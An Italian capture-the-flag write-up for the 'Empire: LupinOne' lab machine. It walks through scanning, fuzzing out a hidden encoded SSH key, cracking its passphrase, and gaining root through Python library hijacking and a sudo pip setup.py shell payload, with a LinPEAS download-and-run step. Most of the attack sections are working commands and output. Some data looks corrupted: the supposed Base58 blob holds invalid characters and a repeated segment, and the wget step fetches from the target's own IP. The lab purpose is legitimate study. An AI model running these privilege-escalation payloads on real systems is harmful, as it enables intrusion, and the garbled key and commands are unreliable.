

Relazione sulla Risoluzione della Blackbox "Empire: LupinOne"

Network Scanning

La prima fase consiste nell'individuare l'indirizzo IP della macchina target. Per farlo, viene eseguito il comando:

```
netdiscover
```

Una volta identificato l'IP della vittima, si procede con una scansione approfondita utilizzando **Nmap**:

```
nmap -A 192.168.56.102
```

```
nmap -sV 192.168.56.102
```

```
(kali@kali)-[~]
$ nmap -A 192.168.56.102
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-18 07:37 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.102
Host is up (0.00053s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 ed:ea:d9:d3:af:19:9c:8e:4e:0f:31:db:f2:5d:12:79 (RSA)
|   256  bf:9f:a9:93:c5:87:21:a3:6b:6f:9e:e6:87:61:f5:19 (ECDSA)
|   256  ac:18:ec:cc:35:c0:51:f5:6f:47:74:c3:01:95:b4:0f (ED25519)
80/tcp    open  http      Apache httpd 2.4.48 ((Debian))
|_ http-title: Site doesn't have a title (text/html).
|_ http-server-header: Apache/2.4.48 (Debian)
|_ http-robots.txt: 1 disallowed entry
|_ /~myfiles
MAC Address: 08:00:27:14:92:F4 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   0.53 ms  192.168.56.102


OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.95 seconds
```

Dal risultato emergono due principali servizi attivi:


- Un server **SSH** in ascolto sulla porta **22**.
- Un servizio **HTTP (Apache Server)** sulla porta **80**, che espone la directory `/~myfiles`.

Enumerazione

L'analisi parte visitando la pagina <http://192.168.56.102/~myfiles/>, che restituisce un **Errore 404**. Tuttavia, ispezionando il codice sorgente della pagina, si trova un commento sospetto:




Error 404




<!-- you can do it, keep trying -->

Questo suggerisce la presenza di ulteriori contenuti nascosti. Viene quindi avviata una fase di fuzzing con **ffuf** per scoprire eventuali directory o file nascosti:

```
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u  
'http://192.168.56.102/~FUZZ'
```



L'output rivela l'esistenza di una directory chiamata `/~secret`. Approfondendo, si decide di fuzzare ulteriormente per individuare eventuali file nascosti all'interno di questa directory:



Hello Friend, Im happy that you found my secret directory, I created like this to share with you my create ssh private key file, Its hided somewhere here, so that hackers dont find it and crack my passphrase with fasttrack. I'm smart I know that. Any problem let me know

Your best friend icex64

```
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://192.168.56.102/~secret/.FUZZ' -ic -fc 404,403 -e .pem,.txt,.html
```

```
(kali@kali)-[~]
$ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://192.168.56.102/~secret/.FUZZ' -ic -fc 404,403 -e .pem,.txt,.html
v2.1.0-dev

:: Method      : GET
:: URL         : http://192.168.56.102/~secret/.FUZZ
:: Wordlist     : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Extensions  : .pem .html .txt
:: Follow redirects : false
:: Calibration : false
:: Timeout     : 10
:: Threads     : 40
:: Matcher     : Response status: 200-299,301,302,307,401,403,405,500
:: Filter      : Response status: 404,403

[Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 3ms]
[Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 2ms]
mysecret.txt [Status: 200, Size: 4689, Words: 1, Lines: 2, Duration: 25ms]
:: Progress: [882184/882184] :: Job [1/1] :: 6666 req/sec :: Duration: [0:02:25] :: Errors: 0 ::
```

Il risultato è il file **mysecret.txt**, accessibile all'indirizzo:

`http://192.168.56.102/~secret/.mysecret.txt`

visualizzata in kali con il comando:

```
curl http://192.168.56.102/~secret/.mysecret.txt
```

```
[kali@kali]~$ curl http://192.168.56.102/~secret/.mysecret.txt
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
pF2YEZKZNYtk5WRFa5zDgKm2gSRN8GhZ3WqS
```

Esplorando il file tramite browser, si osserva che contiene una chiave SSH privata, ma codificata. Dopo un'attenta analisi e numerose prove si intuisce che la codifica è in **Base58**. Utilizzando strumenti online, la chiave viene decodificata correttamente.

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3B1bnNzaC1rZktkdjEAAAAACmFlczI1Ni1jYmMAAAAGYmNyeXB0AAAAAGAAAAABDY33c2Fp
PBYANne4oz3usGAAAAEAAAAEAAAAIXAAAB3NzaC1yc2EAAAADAQABAAQCAQDBHjz3cVvk
9GX1ytpLgT9z/mP91NqO9UQoAwop5JNhxEfM/j5KQmdj/JB75Q1hBotONvqaAdmsK+OYl9
H6NSb0jMbMc4soFrBinoLEkx894B/PqUTODesMEV/ak22UKegdwLJ9Arf+1Y48V86gkzS6
xzoKn/ExVkApsdimIRvGhsv4ZMmMZEktIoTEGz7rAD7QHDEXiusWL0hk33rQCZrFsZF2F7
J0wKgLR2XpmoMQC6o420QJaNLBzTxCY6jU2BDQECovURPL7eJaO/nRfCa0rIzPzfZ/NNMYgu
/DL1fCmbXEsCvMld71cbPqwfWKGf3hWeEr0WdQhEuTf50yDICwUbg0dLiKz4kcsYCdZHO
ZnaDsmjyoV2uLVl19jrrfnp/VoLbKm39ImmV6Jubj63mpHXewewKiv6z1nNE8mkHmpY5I
he0CLdyv316bFI80+3y5m3gPIHUUk78C5n0VUOPSQMsx56d+B9H2bFiI2Lo18mTFawa0Pf
XdcBVXZkouX3nLZB1/Xoip71LH3kPIU7fPsz5EyFIPWIAeNsRmznbtY9ajQhbJHAjFCLIA
hzX3i4LGZ6mjaGEil+9g4U7pjTEaQYv1+3x8F+zuizSvdmR/66Ma4e6iwpLqmtzt3U1fGg
4Ie1xaWQF7UnloKUYjvLMwBbb3gRYakBbQApOONhGoYQAAB1BkuFFctACNrlDXN180vcq
mXXs+ofdFSDie1NhKCLdSqFDSALaKkLX8DFDpFY236qQE1poC+LJsPHJYSpZ0r0cGjtWp
MkMcBnzD9uynCjhZ91jaPY/vMY7mtHZNCY8SeoWAxYTKoY2cu/+pVYgQ76KYt3J0AT7wa
20R3aMMk0o1LoozuYovrB3cXMHh75zBfgQyAeed7LYgG/b7z6zGvVxZca/g572CXXsX51b
QQw/AR8ArhAP43JRNkFov2YRCe38WHEpA4R6k+34tK+kUoEaVAbwU+IchYyM8ZarSvHVPe
vFUP1ANSHCZ/b+pdKQtBzTk5/VH/Jk3QPC6H9EJyx8/gRE/g1QY6z6n6CuoG4AKI1+g0Xz
0hwJJv0R1Sgrc91mBqYVwmuUPFRB5YFMHDWbYmZ0IvcZtXtXrsSk2/uWDWZCW4tdskEVPft
rqE36f3tm9e3/nWD5ZoNxZbjo4cF44PTF0WU6U0UsJW6mDclDko6XSJCK4tk8vr4qQB80LB
QMbCOEVOO0m9ru89e1a+FCKHEPP6LfwBGCCMkqd0QumastvCEUmht6a1z6nXTIzomnzY
x+ltg9c9xfe08tg1xasCel1BLuIHukWGDKLCEsD1HYDBXb+HjmHfwzRipn/tLUNPLNjG
nx9LPdV7M2F7jk6lly8KUGL7z95HAtwmSgqIRLn+M5iKLB5Cvafq0z59V8vb9oMUGKCC5
VQRFKLzvKnPk0Ae9QyPUzAdy+gCuQ2HmSkJTxm6KxoZUpDCfvn08Ttxt0dn7CnTrFPGCIto
cNi2xz6u3wC7jpZvkcncZn+qRB0ucd6vfJ04mcT03U5oq++uyXx8t6KEESa4LXccPGNhpHf
nEcgv16QMBGQ1Ph0J5nUB7jjrkjqC1q8qRNUcWWhyHgtc75JwEo5ReLDV/hZBWPd8ZeFm
8UyTFDSagEB40Ej9jbd5GoHMPBx8VJOLhQ+4/xuaairC7s90cX4WDZeX3E0Fjp9kq30EYH
zc1xzXCpk5KnVmxPul7vN1eQ2gqBjtr9BA3PqCXPpeIH00WXYE+LRnG35W6meqqQW8gSPw
n49YlV3wxxv1G3qxqaa0G23HT3dxKcssp+XqmSALAjiZyLpnH5Cmao4eBQ4jv7qXKRhspl
Abbl2740eXtrhk3AIWiaw1h0DRXrm2GkvbvAEaw3sXETpNmG4YVYVAFfG137MUDrcLO93
oVb4p/rHHqPQNMNmW1ns+adF7REjzFwr4/trZq0XFkrpCe5fBYH58Yf0/g8up3DMxcSSI
63RqSbk60Z3iYiwB8iQgortZm0UsQbzLj91iyikQ60ekRQaEGxuiIUA1SvzoQ09NnT0oSV
y7mHzG17nK4LMJXqTxL08q260zvdqemV9Xb3GABVaH7fsYxoXF7eDSRSx83pjrCsD+t0+
t/YHhQ/r2z30YfQwLas7ltoJotTcmPqII28JpX/nlpkEMcuXoLDzLvCZORo7AYd8JQrtg2
Ays8pHGynylFMDTn13gpJTJYhLD04H9+7dZy825mkfKnYhPnioKUFgqJK2yswQaRPlakHU
yyiNXqtxyqKc5qYQmmlF1M+fSjExEYfXbIcBhZ7gXYwalG7uX8vK8z05dh9W9SBo4Lx1L
8nSvezGJJWBGZAZ5iLkCvp08PeKxmKN2S1TzxqoW70nI3jBvKD3IpQXSsbTgz5WB07BU
mUbxCX11NYzXHEAP95iK8MB8MoYFcELTD8BXJRBXZi6zHOH+4Qa4+oVkr9ZLuLBxeu2rR
Vyg7L5THcj07L4YubiXuE2P7u77obWUfelTc8wQ0jArWi26x/Iut/FP8Nq964pD7m/dPHQ
E8/oh4V1NTGWRDsK3AbLk/MrgROSg7Ic4BS/8IwRVuC+d2w1Pq+X+zMkblEpD49IuuTazJ
Bhk3s65yUuHjfd6u4C3N8zC3Jeb16ixeVM2eJWZ2Vhcy+31qP800/+Kk9NUwalSz+6Kt2
yueBXN1LLFJNRVMv0823rzVVOY2yXw8AVZK0dRzgVbK1AhN5r3lFhWEh5RyNhiEIKz+
wDSUOkenqc71GfvgmVOUypYTtoI527fiF/9rS3MQH2Z3l+qWMW5A1PU2BCKMso0600E1E9P
5KfF3atxbiAvi16okfBnRhQM2s4SpWDZd8xPaFktBPMgN97TzLWM6pi0Ng5+fJtJpPDRL8
vTGVFCHHV14SgTB64+HTAH53uQc5qizj5t38in3LCWtPExGV3eiKbxuMxtDGwwSLT/DKcZ
Qb50sQsJUXKkuMyfVDQC9wyhYnH0/4m9ahgaTwzQYff7DbTM0+sXKRlTYdMYGNZitKeqG
1bsU2HpDgh3HuudIvBtXG74nZaLPTEvSrZKSAoit+Qz6M2ZauJ35s7UElqrLliR2FAN+gB
ECm2RqzB3HuJ8mM39RitRGtIhejpsWrDkbsZVHMHTEz4tIwHgKk01BTD34ryeel/40RLSc
iUJ66WmRUN9EoVlkeCzQJwiV=
-----END OPENSSH PRIVATE KEY-----
```

La chiave è stata successivamente salvata in chiave_bb.rsa

Exploitation

La chiave SSH è protetta da passphrase. Per ottenerla, viene utilizzato **ssh2john** per convertire la chiave in un hash crackabile:

```
ssh2john.py chiave_bb.rsa > hash
```

```
(kali㉿kali)-[~]
$ ssh2john chiave_bb.rsa > hash

(kali㉿kali)-[~]
$ john --wordlist=/usr/share/wordlists/fasttrack.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
P@55w0rd! (chiave_bb.rsa)
1g 0:00:00:02 DONE (2025-03-18 11:37) 0.4132g/s 39.66p/s 39.66c/s 39.66C/s Autumn2013..testing123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Successivamente si utilizza **John the Ripper** con una wordlist chiamata fasttrack (lasciata come indizio nella pagina web):

```
john --wordlist=/usr/share/wordlists/fasttrack.txt hash
```

Dopo pochi secondi, la passphrase viene trovata: **P@55w0rd!**.

Ora sono disponibili tutti gli elementi per autenticarsi via SSH come utente icex64:

```
sudo ssh -i chiave_bb.rsa icex64@192.168.56.102
```

```
(kali㉿kali)-[~]
$ sudo ssh -i chiave_bb.rsa icex64@192.168.56.102
The authenticity of host '192.168.56.102 (192.168.56.102)' can't be established.
ED25519 key fingerprint is SHA256:GZOCytQu/pnSRRTMvJLagwz7ZPlJMDiyabwLvXTrKME.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.102' (ED25519) to the list of known hosts.
Enter passphrase for key 'chiave_bb.rsa':
Linux LupinOne 5.10.0-8-amd64 #1 SMP Debian 5.10.46-5 (2021-09-23) x86_64
#####
Welcome to Empire: Lupin One
#####
Last login: Thu Oct 7 05:41:43 2021 from 192.168.26.4
icex64@LupinOne:~$
```

L'accesso risulta immediato e si nota la presenza di uno script Python interessante:

sudo -l

```
icex64@LupinOne:~/.ssh$ sudo -l
Matching Defaults entries for icex64 on LupinOne:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User icex64 may run the following commands on LupinOne:
    (arsene) NOPASSWD: /usr/bin/python3.9 /home/arsene/heist.py
icex64@LupinOne:~/.ssh$
```

Privilege Escalation - Fase 1 (Python Library Hijacking)

Analizzando i permessi e i file presenti, si evidenzia che lo script heist.py può essere potenzialmente sfruttato tramite una tecnica di **Python Library Hijacking**.

Per raccogliere maggiori informazioni, viene scaricato ed eseguito **LinPEAS**:

```
python -m http.server 4444 # Sul sistema di attacco
```

```
cd /tmp # Sul target
```

```
wget 192.168.56.102/linpeas.sh
```

```
chmod 777 linpeas.sh
```

```
./linpeas.sh
```

LinPEAS rivela che il modulo Python webbrowser.py può essere manipolato.

```
Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files
/dev/mqueue
/dev/shm
/home/icex64
/run/lock
/run/user/1001
/run/user/1001/gnupg
/run/user/1001/systemd
/run/user/1001/systemd/inaccessible
/run/user/1001/systemd/inaccessible/dir
/run/user/1001/systemd/inaccessible/reg
/run/user/1001/systemd/units
/tmp
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/usr/lib/python3.9/webbrowser.py
/var/tmp
/var/www/html
/var/www/html/image
/var/www/html/index.html
/var/www/html/~myfiles
/var/www/html/~myfiles/index.html
/var/www/html/robots.txt
/var/www/html/~secret
/var/www/html/~secret/index.html
/var/www/html/~secret/.mysecret.txt
```


Modificando questo modulo e inserendo in fondo:

```
import pty
pty.spawn("/bin/bash")
```

```
def main():
    import getopt
    usage = """Usage: %s [-n | -t] url
    -n: open new window
    -t: open new tab""" % sys.argv[0]
    try:
        opts, args = getopt.getopt(sys.argv[1:], 'ntd')
    except getopt.error as msg:
        print(msg, file=sys.stderr)
        print(usage, file=sys.stderr)
        sys.exit(1)
    new_win = 0
    for o, a in opts:
        if o == '-n': new_win = 1
        elif o == '-t': new_win = 2
    if len(args) != 1:
        print(usage, file=sys.stderr)
        sys.exit(1)

    url = args[0]
    open(url, new_win)

    print("\a")

if __name__ == "__main__":
    main()

import pty
pty.spawn("/bin/bash")
```

si può ottenere una shell con permessi più elevati.

A questo punto viene eseguito:

```
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
```

```
icex64@LupinOne:~$ sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
bash-5.1$ id
uid=1000(arsene) gid=1000(arsene) groups=1000(arsene),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
```

Con successo si ottiene l'accesso come utente **arsene**.

Privilege Escalation - Fase 2 (Pip Privilege Escalation)

Verificando i permessi dell'utente arsene:

```
sudo -l
```

si scopre che può eseguire **pip** come root senza autenticazione. Si applica quindi la tecnica di privilege escalation tramite pip:

```
TF=$(mktemp -d)
```

```
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
```

```
sudo pip install $TF
```

```
bash-5.1$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
bash-5.1$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
bash-5.1$ sudo pip install $TF
Processing /tmp/tmp.JjIbarSlpe
```

Questo consente l'ottenimento diretto di una shell con privilegi di root.

Una volta ottenuti i privilegi di root

```
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt
```

id

grazie al comando

cd /root

e successivamente

ls

notiamo un file denominato root.txt

cat root.txt

